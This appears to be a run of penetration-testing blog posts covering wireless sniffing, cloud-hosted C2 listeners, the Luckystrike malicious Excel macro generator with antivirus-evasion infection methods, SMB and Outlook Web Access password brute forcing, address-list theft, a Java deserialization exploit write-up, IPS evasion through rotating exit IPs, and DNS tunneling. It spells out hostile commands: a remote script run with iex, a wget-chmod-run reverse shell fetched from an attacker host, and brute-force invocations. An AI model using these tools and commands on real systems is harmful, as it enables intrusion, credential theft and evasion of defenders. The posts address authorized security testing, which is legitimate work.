In the hit Netflix series 'Stranger Things', the Upside Down is the parallel dimension inhabited by a monster. It is a dark and cold reflection of the dimension inhabited by humans, containing the same locations and infrastructure. When assessing wireless networks, I like to think of 5GHZ as 'the upside down'; a dark and cold spectrum where assessors have historically had limited visibility to see what is lurking within when compared to its 2.4GHZ peer.

History:

Wireless networks have two common spectrums, 2.4GHZ and 5GHZ. Since 2010, 5GHZ networks have become more prevalent as hardware support became available offering users higher data rates and less radio congestion when compared to its 2.4GHZ peer. The business of wireless assessments and penetration testing, historically we've been stuck focusing on 2.4GHZ frequencies and attack vectors. This is due to the fact that most scripts only support 2.4GHZ channels, hardware support with monitor and packet injection is limited to 2.4GHZ, and most rogue AP attacks work regardless of RF frequency. This leaves the 5GHZ spectrum a mysterious place which is often overlooked, resulting in a potentially large user base and entire RF spectrum untested.

The topic was brought up to me by my boss asking if we could harvest users using my crEAP utility on 802.11ac/n frequencies. The case was simple, many organization have both 2.4GHZ and 5GHZ deployed in their environments and we were not seeing the full picture; we set off to fix that.

Hardware:
One of the big issues I came across is the lack of wireless adapter support. Not many adapters support chipsets which allow for monitor mode and packet injection. Various articles exist covering this, but after testing, I found the Alfa AWUS051NH to be the best option for our use cases.

Utilities:

The crEAP script which we dropped in Fall 2015 identifies weakness in WPA-Enterprise wireless networks. The script relies heavily on Airodump-ng framework under the hood to do our dirty work. With a few modifications to the script, we had crEAP listening in the 5GHZ spectrum on AC/N bands with supported hardware. During onsite client engagements, we could now tap into a previously untapped RF spectrums and pull usernames, handshakes and other data - data that would have otherwise been overlooked. The 'upside down' wasn't so mysterious any longer. It also yields lots of juicy wifi traffic.

The AWUS051NH adapter will be effective for wifi assessment scripts such as crEAP allowing traffic on 5GHZ spectrum to be monitored and inspected. Through our testing, it was apparent other common wifi utilities are still fragile when supporting 5GHZ (such as Wifite). Attack vectors such as rogue APs don't necessarily depend on 5GHZ frequencies and thus attacks such as Karma should function regardless of RF frequency.

The updated crEAP script is located in the Shellntel repo.

Good luck with your ventures into 'the upside down'. Let SynerComm know if you have any questions.

When on an engagement, sometimes we'll encounter an eager blue team hellbent on identify and blocking our attacks. Typical in those instances we'd use proxy-cannon and route through multiple (ever changing) Amazon EC2 hosts.  However, what if you send shells back to a host that is easily "burnable".

Introducing spin-up: A quick tool used designed to provision EC2 hosts on the fly for engagements where you want quick listener in the cloud.

Spin-up, in its current form, is a python script that will connect to EC2 and provision and connect you to one of the following instance:

• Metasploit
• Empire
• Pentesters Framework
• A simple WWW server
• A server with dirb
• A simple server with no configuration

Setup

Before we can begin, there are two things you need, one being optional:

• Amazon AMI access keys
• Route53 Account (optional)

We use Amazons AMI Access keys to launch instances on the fly. And we use Route53 (also through amazon) to register DNS. It is possible to buy domain records on the fly, though in our case we're re-using existing records. All of this information can then be placed into the config and referenced at launch time.

Example: Spin-up Empire

Lets say you want to spin up a single instance of Empire, with a DNS name (useful for when your servers are blocked but your agents are still calling home... just update that record). Over HTTPS on port 443. For that you'd do:

./spin-up --config /etc/spin-up.conf -p 443 --dns totallysafe empire

Example: Spin-up Metasploit

Lets say you want to spin up a single instance of Metasploit, with DNS, over port 8443. For that you'd do:

./spin-up --config /etc/spin-up.conf -t m3.medium -p 8443 --dns totallysafe msf

Example: Spin-up WWW

Lets say you want to spin up a single instance of a WWW server, hosting your awesome phish/malware. For that you'd do:

./spin-up --config /etc/spin-up.conf -p 80 --dns totallysafe www

Example: Spin-up Pentesters Framework

Lastly, if you wanted to spin up a single instance of Pentestsers Framework, assign it a DNS name of totally safe and open inbound port 8080, then you'd do:

./spin-up --config /etc/spin-up.conf -p 8080 --dns totallysafe ptf

Conclusion

You get the idea. Spin-up also supports a plain version where you'll be dropped to shell prompt to install whatever you'd like.  All instances are launched within a screened session, so if you ever need to move locations, or your session dies for whatever reason, you can always come back to it. (SSH keys are stored in temp). When you're done, just hit ctrl-c and the instance will shutdown cleanly, and you're good to move on.  Check it out, and if you have any issue please submit them via github.

@jarsnah12

DerbyCon Tool Drop 2.0 Talk here. Luckystrike demo begins at 18:45.

<tldr> Luckystrike is a PowerShell based generator of malicious .xls documents (soon to be .doc). All your payloads are saved into a database for easy retrieval & embedding into a new or existing document. Luckystrike provides you several infection methods designed to get your payloads to execute without tripping AV. See the "Installation" section below for instructions on getting started. </tldr>

Time to send my phish! Fire up Empire, create a listener, dump the macro code to excel. Crap! 32/45 caught at VT?? Ok... Can I embed this into a cell? <2 hours of research later> Argh wtf why isn't this working! <Another hour on MSDN & Stack Overflow> Nice! Ready to test. <Clicks Enable Content>.... no shell .... no shell ...... NO SHELL. 🙁

How many times have we wasted precious hours doing the same thing only to have our payload not work or get caught. Irritating to say the least; that's time we could spend pillaging!

Generating a malicious macro doc is something that every pentester is well acquainted with. We use malicious macros all the time to gain footholds when other attacks don't work. We decided it was high time we had a tool that would automate as much as possible, allow us to reuse payloads, and include as many built in AV evasion techniques as we could.

Introducing Luckystrike (see "Installation" section below to get started).

Luckystrike is a menu-driven PowerShell script that uses a sqlite database to store your payloads, code block dependencies, and working sessions in order to generate malicious .xls documents.

Prerequisites:

1. PowerShell v5. The script is made to run on your machine, not your targets, so this shouldn't be a problem.
2. Microsoft Office. Or at least Excel. Luckystrike uses the Excel COM objects to build .xls docs.
3. PowerShell PSSQLite Module. The script will try an install this for you if not found.

Installation:

NOTE: please, Please, PLEASE do not post errors in the comments section below! They will not be responded to. If you have a problem, please create a github issue on the luckystrike repo. Thank you!

To get started, run the following command from an administrative PowerShell prompt:

iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Shellntel/luckystrike/master/install.ps1')

I realize you may be panicking over the fact that I'm telling you to run iex. Feel free to check out all the boring database commands install.ps1 does before running. You can also git clone the repo & run install.ps1 locally if that somehow makes you feel better. 🙂

Install.ps1 does the following:

1. Installs the PSSQLite module if you don't already have it (hence the admin rights).
2. Creates .\luckystrike\
3. Creates the database (ls.db) and puts it into .\luckystrike
4. Copies down luckystrike.ps1 into .\luckystrike

Once everything is done, run the luckystrike.ps1 script

Getting Started

Luckystrike allows you to work with three types of payloads: standard shell commands, PowerShell scripts, and executables (.exe). Payloads that you add are stored in the catalog, a sqlite database file that can be used repeatedly, or shared amongst teammates. Every time you select a payload to use, you must also choose the infection type, or the means by which the payload will be executed. You can infect a document with multiple payloads of different infection types.

Let's get started by adding a simple shell command payload to start calc.exe:

Run luckystrike.ps1 and choose option 2 for Catalog Options. Add a payload to the catalog with a payload type of 1 (Shell Command). Shell commands are run exactly as you have them (including escape characters), so enter the text carefully.

Now that we have a payload created, let's select it and build our malicious file!

Go back to the main menu and chose option 1 (Payload Options), then choose the infection type to work with. In the case of Shell commands, there is only one type (DDE exec coming soon!):

So far you've added a payload to the catalog, then selected it for inclusion in a file. Luckystrike was built so you can add multiple payloads with multiple infection types to a single infected .xls, but more on that later. 🙂

Now let's create the file. Choose File Options from the main menu, then generate the file.

Luckystrike will also infect existing .xls documents in case you already have a template you enjoy using (File Options > 2). Even if they already contain macro code, luckystrike will create a new CodeModule and append any existing Auto_Open calls (ensuring the naughty payloads are called first, of course). Note this is not a perfect science so something might get foobar'd in the process. Luckystrike will not monkey with your existing document. All new .xls files are saved to the ./luckystrike/payloads directory.

Open the file & click Enable Content. You should see calc.exe open. Hooray!

Have a look at the macro code:

Simple, straightforward. Notice that you are responsible for escape characters, so tread carefully. The payload originally used "Wscript.Shell" as the create object string, but that was picked up by 3/36 (nodistribute.com), notably Windows Defender. Simply building a string that concatenates the letters took care of that. Thanks Microsoft!

That was the most simple example. The macro code only gets more complicated from there. That said, here are the infection types broken down by payload type:

Infection Types

1. PAYLOAD TYPE: Shell Command
   1. Infection Type: Shell Command:
      1. What you see above. Simply uses Wscript.Shell to fire a command. Shell commands run via powershell or cmd.exe do not pop a command window in the user's view. More likely to get caught by AV.
   2. Infection Type: Metadata
      1. Embeds the payload into the file's metadata, specifically the Subject field. A one liner method is fired in the macro to execute whatever is in the metadata. Very low detection rate!
2. PAYLOAD TYPE: PowerShell Script. [Note: ALL .ps1 files that you save as payloads must be non-encoded! Luckystrike will b64 encode where necessary)
   1. Infection Type: CellEmbed. 
      1. Your "go to" for firing .ps1 scripts. Embeds a base64 encoded ps1 script into cells broken up into chunks. A Legend string is associated with the payload so it can be reconstructed at runtime. The payload can exist anywhere on the workable sheet, but will start, at minimum, Column 150 & Row 100. The base64 payload is saved to disk in C:\users\userid\AppData\Roaming\Microsoft\AddIns as a .txt file. The macro reads in the text file then fires with powershell.
   2. Infection Type: CellEmbedNonBase64
      1. Embedding is the same as #1 above, but is not base64 encoded. The script is read directly from the cell and fired via powershell. Never touches disk. Recommended!
   3. Infection Type: CellEmbed-Encrypted
      1. Personal favorite. When choosing this, you will be prompted for your target's email domain name. Example, if your target is [email protected], then you would use "evilcorp.com" (no quotes) as that string, even if it's different than their main web url! The reason for this is luckystrike will RC4 encrypt the ps1 file (with the email domain as the key) prior to embedding. The macro code will then retrieve the user's email address from Active Directory, split the string, and decrypt the payload prior to running. If an AV vendor gets ahold of the payload, they won't be able to decrypt & run. MUAHAHAHA
3. PAYLOAD TYPE: Executable
   1. Infection Type: Certutil.
      1. Based on @mattifestation's excellent work (here), this attack embeds a base64 encoded binary into cells, then saves it as a .txt file to disk, using certutil to decode the payload & save as an .exe. Exe is then fired.
   2. Infection Type: Save To Disk
      1. What you'd think. Exe is saved to disk then fired. Straightforward
   3. Infection Type: ReflectivePE
      1. Naughty! Both the .exe and a copy of Invoke-ReflectivePEInjection (here) are saved to disk as txt files. Exe is then fired using Invoke-ReflectivePEInjection. Be sure to test this one! Very important to know the architecture of your target vs the payload you're using. Additionally, I recommend testing your .exe with Invoke-ReflectivePEInjection prior to embedding as if your .exe is not ASLR/DEP compliant, the attack will not work (I'm not using -ForceASLR). On the positive side, only .txt files are written to %APPDATA%, so those relying on simply blocking execution from appdata are out of luck!

Real World

Popping calc is cool and all, but what about a real world test. Let's embed a custom metasploit meterpreter payload as well as an empire stager into an *existing* Excel document template.

• 1. Create your exe with msfvenom (you're using a custom built msf template to avoid AV right?? 🙂
• 2. Standup your msf listener as well as your empire listener.
• 3. Decode Empire's base64 encoded launcher (remember, all .ps1's must be loaded into luckystrike decoded).

• 4. Launch luckystrike and add the msf exe as an Executable payload:

• 5. Add the decoded empire stager as a PowerShell Script payload.

• 6. Select both payloads for embedding. For this test we're going to use the Certutil exe infection type and the CellEmbed-Encrypted ps1 infection type.

• 7. Choose the File Options menu, then infect an existing xls document that already contains a macro. Lean back in your chair and smile.... maliciously.....

• 8. Send your email to [email protected] (authorized of course). Then wait for Bob to forget all his security training and derp-open the attachment.

Planned features:

1. Word doc support (won't be as robust as Excel, but it will work).
2. Ability to store your templates in the database.
3. "Quick attacks": Saving your payload & infection type choices for easy access.
4. New, highly evil infection types & AV/sandbox evasions.

Until next time!

@curi0usJack

Intro

One of my favorite post-ex metasploit modules is smb_login. It's great for running a quick test using credentials you've discovered. One of the problems with it is that there is nothing that prevents you from locking out accounts. Plus, you have to create user list which means dumping users | cut | sed | awk, blah blah blah. (Update: Thanks to @ztgrace for bringing me up to speed on the MaxGuessesPerUser advanced property of smb_login.)

I wanted something that did all this work for me that would just take a password list and be smart enough to handle all the logistics, plus I wanted it in PowerShell for obvious reasons (PowerShell > Ruby. <trollygrin>). Seriously though, I'm not a Ruby dev, and every time I try, I reach gem dependency rage-level 11 in about 15 minutes. So...

Solution: Invoke-SMBAutoBrute.ps1 (github)

• Admin Rights Required: NO
• PowerShell Version Required: 2+

The autobrute script has a few features built in making it handy for the pentester who needs creds & is short on time.

Parameters

The script receives the following parameters:

UserList

A simple text file that exists on target containing users to brute (one per line). If no list is passed, query the domain for a list of users whose badPwdCount attribute is two less than the domain account lockout threshold. Wrap paths in double quotes.

PasswordList (Required)

A comma separated list of passwords to try. Even if the Lockout Threshold is 3 attempts, pass in 10 passwords or so. The script will grab safe users to brute every password run. Wrap list in double quotes.

LockoutThreshold (Required)

The lockout threshold of the domain. Run "net accounts" on the target, grab the Lockout Threshold value and use that.

Delay

The number of milliseconds to wait between each attempt. Handy if your connection is slow, otherwise you could get odd errors. Default 100.

ShowVerbose

By default, only successes are shown. Specifying this switch will show all skipped and failed attempts. Lots of information will hit the screen. You've been warned.

StopOnSuccess

What you'd expect. After the first successful authentication, exit the script.

Workflow

The general order of the script is as follows. Assume no UserLIst was passed and the LockoutThreshold was set to 5.

1. Perform prereq checks. Be sure you can locate the PDC, etc
2. For each password in the password list, perform the following:
   1. Retrieve a list of enabled users from the domain (PDC specifically) whose badPwdCount attribute is <=3. The reason for this is is that we want all users who could not be locked out during this attempt. It is possible that a user could fat finger a password during the brute, locking their account. Unlikely, but possible.
   2. For each user retrieved:
      1. Check their badPwdCount attribute against all DCs and use the highest value. The reason this is done is the badPwdCount attribute is not replicated (source). If the highest value is greater than one less than the lockout threshold, do not test the account.
      2. If the account is safe to test, test the password against the PDC. If successful add the user to a valid users list (and never test this user again). Throw the result to the screen.

Risks: Regardless of the safety checks built in to the script, it is possible that lockouts could still occur. Replication problems between DCs, a DC that is being rebooted during processing, users who are trying as fast as they can with bad passwords, all could cause lockouts. Always best to test before you run against your target! It's been tested in my lab against thousands of users, but that's it. We are not liable for your slow env or the accounts you lock! 🙂

Quick Screenshot:

Note: If you get LDAP server unavailable errors, you might be bruting too fast. Try setting the Delay param to 500 or so.

Defense

As with any brute force attack, your logs (specifically the PDC Security Event log) will be filled with failures. This script will actually load up the logs of all DCs as each user is checked against each DC for their badPwdCount attribute. We always recommend to our customers that they be setting thresholds on alerts so that if X events fire in X seconds, you are alerted. The security event log will contain the source IP of the authentication attempt. That's your compromised machine.

Really sneaky pentesters could set the Delay to 1000+ and just let it run overnight. </evilgrin>

Comments are welcome, but please use github for any questions/bugs. Our scripts repo is here.

@curi0usJack

PS - An Empire pull request has been submitted. Keep a look out for situational_awareness/network/smbautobrute. 🙂

Once in a blue moon we come across a client that has truly done security right (or at least, tried really hard to do so). All the low hanging fruit has been trimmed: Responder doesn't work, no passwords in GPP, all systems patched up to date, no Spring2016 passwords, etc. As frustrating as this is for pentesters, it forces us to level up our game.

This past week was one of those times where we had to fight for every inch (OSCP exam anyone? =). We couldn't get any shells and were only turning up crappy SSL vulnerabilities. We fired off a Nessus scan in hopes of getting some additional information and a Java deserialization vulnerability (info here) turned up on a linux based hosted, listening on tcp/40002.

Excited, we fired up metasploit and let 'er fly:

Hooray. 🙁

Disappointed, I began to search for a manual exploit, but something in the Nessus report stood out to me:

That's some pretty specific text. Made me wonder what exactly Nessus was doing to make such a definitive statement. If Nessus was able actually launch the exploit and get back some sort of feedback, then maybe I could modify the .nasl to suite my own purposes.

I took a look at /opt/nessus/lib/nessus/plugins/opennms_java_serialize.nasl and found something interesting:

Outstanding! Nessus was actually exploiting the vulnerability to fire a ping command back at the Nessus box with the plugin ID in the ping buffer. All I had to was modify the payload to run other commands and launch. Fortunately, you can fire single .nasl scripts using /opt/nessus/bin/nasl command along with the -t <TARGETIP> switch.

I performed the following steps:

1. Copied the .nasl file
2. Adjusted the nasl command to be: curl http://myattackbox
3. Stood up a listener: nc -nlvp 80
4. Fired the script against my target: /opt/nessus/bin/nasl /opt/nessus/lib/nessus/deserialize-custom.nasl -t TARGETIP
5. Crossed my fingers. =)

It took a moment, but finally:

Now that I had confirmed RCE, I decided to step it up a few. I grabbed a python reverse shell one liner from pentest monkey (here) and put it into /var/www/cmd.sh. I then created three copies of the .nasl script for three different commands (yes, I know there are better & more efficient ways of doing this, but I was feeling lazy) and started apache. Each script performed one of the following three commands (in order):

1. $ wget http://myip/cmd.sh -O /tmp/cmd.sh
2. $ chmod +x /tmp/cmd.sh
3. $ /tmp/cmd.sh

I then crossed my fingers & fired....

After some research, we learned we were on a VMware vRealize appliance as the low privilege user horizon. We ran multiple privesc discovery utilities and found nothing. All files were sufficiently locked down to root. Kernel was reasonably up to date & no exploits were found. I couldn't sudo to another id, much less root. Bash history == empty. I was beginning to despair as we had dozens more systems to test and I had already burned several hours on this, but we still didn't have a solid foothold into the environment.

I was preparing to move on when a coworker suggested that we check to see if the horizon user can sudo run any applications....

It wasn't possible.

Surely we couldn't sudo run this "diagnosticCommandExecutor.hzn" with another command..... or could we....

No doubt a well meaning engineer put this there for troubleshooting purposes, and we were only to happy to use this "feature" to pwn... er..."troubleshoot" the system.

A few tweaks to our script and:

Though I doubt VMware will remove the ability of the horizon user to sudo run any command via diagnosticCommandExecutor.hzn, they did issue a patch for the Java deserialization vuln (here)

Huge thanks to my buddy Steve (@jarsnah12) for lending his ability to linux hard!

Until next time!

@curi0usJack

ProxyCannon, which can be found here, has undergone some revisions since our initial release and as a result, there's some new features we'd like to introduce.

Cleaner User Interface.

We've cleaned up the number of arguments required to run the app from 6 to 3.  Now you only need to specify the AMI KEY, AMI ID, and the number instances you'd like start. You can still specify images size, type, etc, we just set the most cost effective options as default.

New Options

So if you're familiar with the older version of createProxy, you'll notice we've added new options.

• The -v option provides verbose debug output, specifically used for troubleshooting issues.
• The -i option was added to let the user specify which interface should be used for establishing outbound connections.  Useful if your client is on a mac, or has multiple nic's.
• The -l option will log all assigned IP's to a file for record keeping
• The -r switch rotate IP's

Rotate IP?!

So even by sending your Nessus scans across 10 Amazon EC2 hosts an IPS can still detect and shun one of your exit nodes. To deal with this, we've added the -r feature which will automatically rotate the public IP address of every exit node. Let say for example you fire up proxy cannon with 10 nodes and add the -r switch.  The first thing the script will do is build the egress nodes, tunnels, iptables and routes like normal.  Next the script will choose one node (at random) and alter the local route table to make that it appear less appealing than the other 9.  As a result, all new outbound TCP/UDP/ICMP packets will be traverse the remaining 9 nodes evenly all the while allowing any existing session data on the chosen node time to finish receiving its data. The script will then monitor the network state table for the chosen node. Once it identifies that the node is idle (i.e. no half open TCP/UDP/ICMP packets), proxyCannon tells Amazon to re-assign the nodes WAN IP. Next ProxyCannon will reprovision the host and add it back into the general pool of 10 nodes, and move onto the next. On average, regardless of the number of exit nodes provisioned, proxyCannon will change its exit nodes IP's about 30 times in one hour without dropping / breaking a single session!

Save iptables state

ProxyCannon makes use of iptables to do its natting. In the past, if you ran it, your previous iptables state (if any) was lost. With this update, your previous iptable state will be saved before running, and restored when finished.

Better Signal handling

We've added better (not perfect) signal handling, so that if/when an issue arises, ProxyCannon will attempt to cleanup up gracefully, restoring your system to its previous state.

WAN IP Logging

If you ever want to know what WAN IP's your traffic took you can use the -l switch to record a log to the /tmp directory.

Conclusion

Take a look and try it out.  If you run into any problems please reach out to SynerComm.

@jarsnah12

Overview

For some time now, we've been using DNSCat as a means to covertly transmit data during engagements where clients IDS's or Firewalls might otherwise block us.  The DNS protocol is often overlooked by system's administrators and as a result this tool has been immensely useful.

And while there are a other DNS tunneling solutions out there, this is the only one, to our knowledge, that supports 1) encryption 2) a centralized server for simple management 3) Command queuing.  4) Is free.

The one thing it does not support, is the ability to tunnel network traffic, from the client to the server.

The Goal

What if we could setup a bi-directional vpn across dns that would allow all protocols, not just TCP?  This sort of thing is great for situation where you're at an Airport, Hotel, or some other captive portal situation where DNS resolves, but everything else is blocked.  This is also great for penetration testers who want to route/tunnel traffic through system that has been compromised.  And while DNSCat does support tunneling of TCP traffic, its unidirectional. i.e. From the server to the client only (Similar to SSH -L)

The Work Around

Ron (Primary author of DNScat) has mentioned that he intends to build in this feature at some point but for now, lets see if we can hack our way into getting what we want.  To do this we need the following:

Domain

For this setup, you will need to register a domain to use. As an example we use mooo.com from freedns.afraid.org. Note that we only care about the NS record which points to our server running the DNScat server software.

Server

On the server side we need to setup a few things. First is to setup ssh keys:

ssh-keygen

Next, we enable routing on the server:

echo 1 > /proc/sys/net/ipv4/ip_forward

Next we run we run the DNSCat Server.  Lets go through some of the switches we used:

•  The -c switch is the preshared crypto key we want to use between the client and the server. This is optional, since we're going to be running a vpn across this, but why not add the extra layer of encryption.
•  The -u switch tells the server to automatically attach to each inbound dnscat client session.
•  The -a switch tells the server that we want to automatically run the following command on each new session.  As per the documentation, the 'listen' command will establish a tunnel between the server and the client where on the server a listening socket is created on port 2222 and all connections are forwarded to the client to 127.0.0.1:22.  This could easily be changed to forward browser traffic to www.google.com by changing it to read 'listen 127.0.0.1:8080 www.google.com:80'.

After the server is started, we switch to the client.

Client

We wont go into to details on how to compile the client, you can find those instructions on the github/readme page.  However for this to work, we compile the client and run it locally as root. But before we do that we need to make some modifications to the sshd config. Three changes need to be made to the standard sshd_config

1. Comment out 'PermitRootLogin without-password'
2. Add 'PermitRootLogin yes'
3. Add 'PermitTunnel yes'

Next restart the service and enable IP routing

# /etc/init.d/ssh restart
# echo 1 > /proc/sys/net/ipv4/ip_forward

Once forwarding is enabled, we can connect our client to the server.

We can see that the session has been established, and on the server we see the following:

Next step is to push our keys from the server to the client. To do this, on the server run the following command:

scp /root/.ssh/id_rsa.pub [email protected]:/root/.ssh/authorized_keys -P 2222

Note, when being prompted for creds, this is the root password on the client machine.

Once the server ssh key has been pushed to the client. Now establish a SSH based vpn tunnel (-w) from the server to the client.

ssh -i /root/.ssh/id_rsa [email protected] -p 2222 -w 1:1 -o TCPKeepAlive=yes -o ServerAliveInterval=50 &

If successful, you should now have an interface tun1 on both the client and the server. On both machines you'll need to provision IP's, Routes and IPTables for natting.

On Server

ifconfig tun1 address 172.16.254.2 netmask 255.255.255.252
ifconfig tun1 up
route add [client network]/[netmask] via 172.16.254.1 dev tun1
iptables -t nat -A POSTROUTING -o tun1 -j MASQUERADE

On client (via SSH):

ssh -i /root/.ssh/id_rsa [email protected] -p 2222 'ifconfig tun1 address 172.16.254.1 netmask 255.255.255.252'
ssh -i /root/.ssh/id_rsa [email protected] -p 2222 'ifconfig tun1 up'
ssh -i /root/.ssh/id_rsa [email protected] -p 2222 'route add [server network]/[netmask] via 172.16.254.2 dev tun1'
ssh -i /root/.ssh/id_rsa [email protected] -p 2222 'iptables -t nat -A POSTROUTING -o tun1 -j MASQUERADE'

So now, traffic from the server or the client should be able to reach either sides network. If you want to forward all traffic out, you could even put in a default route.

Final Thoughts

This solution, while effective, is slow. Not to mention, this will only work on *nix systems. But on the plus side, all TCP, UDP and ICMP traffic is properly routed across the tunnel allowing for such things as full port scans and streaming Netflix.

@jarsnah12

Problem

It is common during a penetration test that a tester may run into the problem of figuring out which ports and maybe even which protocols are allowed out of an environment. This is due to the need for a payload to successfully establish command and control. With the adoption of layer 7 inspection for firewalls and the slow adoption of proper egress filtering, this problem will only get more prevalent.

Possible Solution (<-- click if you don't want to read)

Seeing as most browsers now support websockets, I set out to create a simple client/server setup that would be able to test the most common ports.  The tool would consist of a python based server and simple javascript to include with any webpage that would cycle thru connection attempts via websockets on an array of ports.

Upon further investigation I found why no tool already existed to do what I was trying to accomplish. As I started to piece together some python based on the RFCs I could find, I found that someone else had already done it better than I (https://gist.github.com/rich20bb/4190781). Taking this code as a starting point I soon had a multi-threaded websocket server that listened on ports 21, 22, 23, 53, 3389 and 8080. I worked up some javascript to test it and found this:

data-animation-override>
“If port is a port to which the user agent is configured to block access, then throw a SECURITY_ERR exception. (User agents typically block access to well-known ports like SMTP.)”

This basically meant that browsers blocked most interesting ports and the ones that I wanted to know about. Somewhat frustrated at this point I continued to search for a solution. I then began digging into what possibilities I might have by utilizing Flash.  While finding the use of flash sockets as a possibility, I reluctantly accepted this as a dependency and continued on.

What I came up with is much less elegant than I had hoped, but what you do is setup a server to listen to ports of interest.  Then you setup some javascript which will invoke websocket requests to the server on those various ports.  For this you can use egress_serve.py like this:

In its current form the the egress server requires connectivity from the client on port 843 to function because of the way that Flash handles its socket security policy (see this). Once your server is setup you need to host a couple files on a web server (WebSocketMain.swf, egress_test.js, swfobject.js, web_socket.js, egress.html). Then in a separate directory you will need to have egress_serve.py and flashpolicy.xml.

Finally you will have to place the public ip that you are using for your egress server into the egress_test.js file like so:

It is also important to note that you should ensure that your firewall for the egress server allows the ports through that you wish to test, because of this I highly suggest using an AWS, Azure, or some other virtual private server for this purpose. Do not host any sensitive data on the server that is running this. Once things are all in place have your target browse to the egress.html page. On your egress server it should look like this:

This utility is valuable if you need to quickly gather possible egress ports available from a network that you are currently on, such as in an audit context. But it is also useful for a pretext to a social engineering attack where you need to ensure your payload will successfully communicate out and establish command and control. For example, many companies have online chat where you can talk to a representative. Simply engage the customer service rep in a way that will get them to load the page, and you should have good intel into what ports are allowed out.

Let SynerComm know if you have any questions. Enjoy!

Outlook Web Access (OWA) has been one of the consistently viable attack vectors for pentesters and bad guys alike for many years. Frequently, an attacker will obtain valid credentials by brute forcing OWA portals exposed to the internet. Once credentials are obtained an attacker can then access the target network via any other single factor authentication portals that may also be exposed (Citrix, VPN, or *gulp* RDP).

After using multiple brute force tools I began to see some false negatives, so I decided to dive into writing my own tool. I found that many installations of Exchange provide an API through the Exchange Web Service (EWS) and wrote a set of modules to take advantage of that.

The EWS is a convenient API exposed to allow programatic access to someones mailbox and some Exchange functionality (Thanks Microsoft!). To get started using these modules you have to install the Exchange Web Service API (here). Once that is installed get a copy of the OWA-Toolkit from here. Then import the module like so:

Import-module C:\path\to\OWA-Toolkit.psm1

Once you have the module imported you should be able to see what cmdlets it includes:

Decide if you want to brute using user ids or full email addresses and then compile a list of targets. The list should just be a txt file that has one user per line. Then you can invoke Brute-EWS like so (if you want to brute with emails include the Domain parameter):

Brute-EWS -TargetList .\userids.txt -ExchangeVersion 2007_SP1 -ewsPath "https://webmail.yourdomain.com/EWS/Exchange.asmx" -Password "omg123" -Domain "yourdomain.com"

If you so chose you can also pass the UserAsPass parameter to attempt authentication with the userid passed as the password. Once valid credentials are obtained it is common to take the Global Address List (GAL) to use for additional brute forcing or social engineering. This was usually a painful process forcing OWA to load all the addresses while I was proxying it through Burp. So, utilizing the EWS I decided to write a script to take the GAL. To use the Steal-GAL cmdlet you can invoke it like so:

Steal-GAL -Password "littlejohnny" -User "dbetty" -domain "yourdomain.com" -ExchangeVersion 2007_SP1

You can also pipe an exchService object to this cmdlet like so:

OTK-Init -Password "littlejohnny" -User "dbetty" -Domain "yourdomain.com" -ExchangeVersion 2007_SP1 | Steal-GAL

The output is designed to be piped to an output method of your choice; the easiest way I have found is to just add "| export-csv -Path .\gal.csv" to your command. Please provide any feedback or issues you might have to Github. Thanks.